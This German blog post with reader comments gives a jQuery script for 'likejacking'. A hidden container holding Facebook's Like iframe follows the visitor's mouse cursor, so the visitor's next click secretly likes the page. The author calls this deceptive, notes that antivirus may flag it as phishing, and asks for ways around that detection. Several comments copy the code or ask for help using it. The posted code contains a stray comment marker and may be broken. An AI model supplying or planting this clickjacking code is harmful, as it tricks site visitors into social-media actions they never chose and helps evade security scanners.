
[ ! ] Nachtrag: Es kann sein das dieses Script nicht mehr funktioniert, da Facebook in den Letzten Monaten sehr häufig Veränderungen seitens Ihrer API hatte. Sobald ich dieses Script aktualisiert habe, werdet Ihr hier eine andere Nachricht finden! ;)
Welcher Seitenbetreiber kennt das nicht, man hat eine Internetseite wo unter jeden Artikel ein Facebook ‘Gefällt mir’ Feld ist, wo niemand drauf klickt. Doch damit ist jetzt Schluss, ich habe ein kleines Script in JavaScript geschrieben wodurch der Besucher der Seite quasi automatisch und ohne sein Wissen auf das ‘Gefällt mir’ Feld klickt.
Das ganze ist allerdings nicht sehr freundlich gegenĂĽber den Besucher, weil man Ihn es unterjubelt auf das Feld zu klicken. Daher rate ich jeden dieses Script nur mit bedacht auf die eigene Seite einzubauen. Ich selbst verwende dieses Script nicht auf diesen Blog, ich habe es eigentlich nur fĂĽr einen bekannten Geschrieben weil er so was fĂĽr sein Projekt braucht was ich allerdings jetzt hier nicht verlinken werde.
Damit Ihr das Script auf eurer Seite einbauen könnt müsst Ihr unbedingt jQuery auf eurer Seite einbauen. Sonst klappt da gar nichts. Wenn Ihr nicht wisst wo Ihr das herbekommt klickt einfach mal hier.
Habt Ihr jQuery runtergeladen so baut Ihr es in die Head-Sektion ein,
das sollte dann ungefähr so aussehen.
Jetzt habt Ihr schonmal den Grundstein gelegt damit das Script später auch funktioniert, jetzt kommen wir zu dem Hauptteil des Scriptes. Hier ist es wichtig das Ihr nichts am Code ändert. Sonst klappt das später nicht mehr, und dann ist das geheule groß ;)
Baut jetzt folgendes Script in eurer Seite ein, oder legt eine extra .JS Datein an:
Wenn Ihr es so in eurer Seite einbauen möchtet,
dann schreibt am Anfang “<script>” und am ende “</script>“.
- var interval;
- $(function()
- {
- interval=setInterval("updateActiveElement();", 50);
- });
- function updateActiveElement()
- {
- if ( $(document.activeElement).attr('id')=="fbframe" )
- {
- clearInterval(interval);
- iflag=1;
- }
- }
So wenn das soweit eingebaut ist, müsst Ihr noch folgendes Script einbauen. Wichtig ist hier bei es nicht mit dem anderen Script zu Verbinden, das könnte zu Problemen führen.
- var iflag = 0;
- var fbcontainer = document.getElementById('fbcontainer');
- var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body
- function mouseFollower(e){
- */
- if (window.event)
- {
- fbcontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
- fbcontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
- }
- else
- {
- fbcontainer.style.top = (e.pageY-5)+'px';
- fbcontainer.style.left = (e.pageX-5)+'px';
- }
- }
- document.onmousemove = function(e) {
- if (iflag == 0) {mouseFollower(e);}
- }
Nun haben wir den größten und wichtigsten teil des Scriptes schon eingebaut, jetzt muss nur noch folgende Kleinigkeit gemacht werden. Geht auf Facebook und besorgt euch den Iframe-Code fĂĽr das ‘Gefällt mir’ Feld. Speichert diesen Code erstmal zwischen. Danach fĂĽgt Ihr noch folgendes Script oder besser gesagt DIV ein, und fĂĽgt dort den Code von Facebook ein.
Das war es auch schon, jetzt könnt Ihr eure Besucher einfach und heimlich befehlen auf das Feld zu klicken. Bedenkt aber das Ihr euch damit die Besucher vergraulen könnt. Noch was am Rande, es kann sein muss aber nicht, das manche Virenscanner das ganze als Phishing versuch ansehen. Selbstverständlich ist das keiner, falls jemand eine Idee hat wie man das Verhindern kann dann sagt es mir.
Getestet habe ich das Script unter Mozilla Firefox, Opera, Internet Explorer 7, Internet Explorer 8 und Google Chrome. Gab dort keine Probleme, nur der Internet Explorer 6 wie sollte es auch anders sein hat mal wieder gemeckert.
Das Script selbst funktioniert nur wenn der Besucher auch bei Facebook Angemeldet ist, ist es er nicht. Passiert auch nichts, er bekommt auch keine Meldung zu sehen.






Genau das hab ich gebraucht!
Super Script danke!
Ich kriegs nicht hin, so habe ichs mit google.com versucht, nachdem ich jquery hochgeladen habe. Kannst du mir vielleicht sagen, was ich da falsch gemacht habe, evtl per Email? Danke schonmal
Tite der Seite
1.
var interval;
2.
$(function()
3.
{
4.
interval=setInterval(“updateActiveElement();”, 50);
5.
});
6.
7.
function updateActiveElement()
8.
{
9.
if ( $(document.activeElement).attr(‘id’)==”fbframe” )
10.
{
11.
clearInterval(interval);
12.
iflag=1;
13.
}
14.
}
var iflag = 0;
var fbcontainer = document.getElementById(‘fbcontainer’);
var standardbody=(document.compatMode==”CSS1Compat”)? document.documentElement : document.body
function mouseFollower(e){
*/
if (window.event)
{
fbcontainer.style.top = (window.event.y-5)+standardbody.scrollTop+’px’;
fbcontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+’px’;
}
else
{
fbcontainer.style.top = (e.pageY-5)+’px’;
fbcontainer.style.left = (e.pageX-5)+’px’;
}
}
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
}
wenn der richtig Artikel gut ist, dann werden Besucher ihn manuell in Bookmarkes eintragen, selbst wenn da kein Button steht;
Cooler Artikel, den musste ich gleich mal adaptieren. Suche schon lange nach solch einem Skript, thx :)
Das klappt garnicht mehr oder??
Ich habs getestet …
was soll im quelcode das auskomentieren? */ ? is doch ĂĽberflĂĽsslig oder nicht?
Toller Artikel, es gibt mittlerweile so viele Vartianten davon von mies bis ganz mies ^^
Also bei mir geht gar nichts. bin jetzt auch nicht der rießen programmierer. Ich möchte ein bild posten auf facebook und wenn die besucher auf das bild klicken soll automatisch auf gefällt geklickt werden.
kann mir jemand sagen wie das gehen soll?
und wo finde ich den code von facebook?
und wie binde ich das javascript ein?
herzlichen dank schonmal
Das Script ist nicht grade die feine Art, außerdem ist es funktionsuntüchtig. Ich denke wer so ein Script nötig hat will nicht seinen Besuchern guten Content bieten sondern nur Kohle machen. Guter Artikel an sich, aber so ein Script gehört eigentlich nicht, wie du schon schreibst auf eine Seriöse Webseite ;)
Wie sieht denn der Iframe Code aus?
Naja das Script ist zwar gut – aber obs zufriedene Kunden schafft ? Da bin ich mir nicht so sicher ..
also bei mir funktionierts auch nicht.
wie sollte denn der iframecode aussehen?
ich hab gar nichs gecheckt! kannst du nicht n video tutorial machen?
vielen dank ;)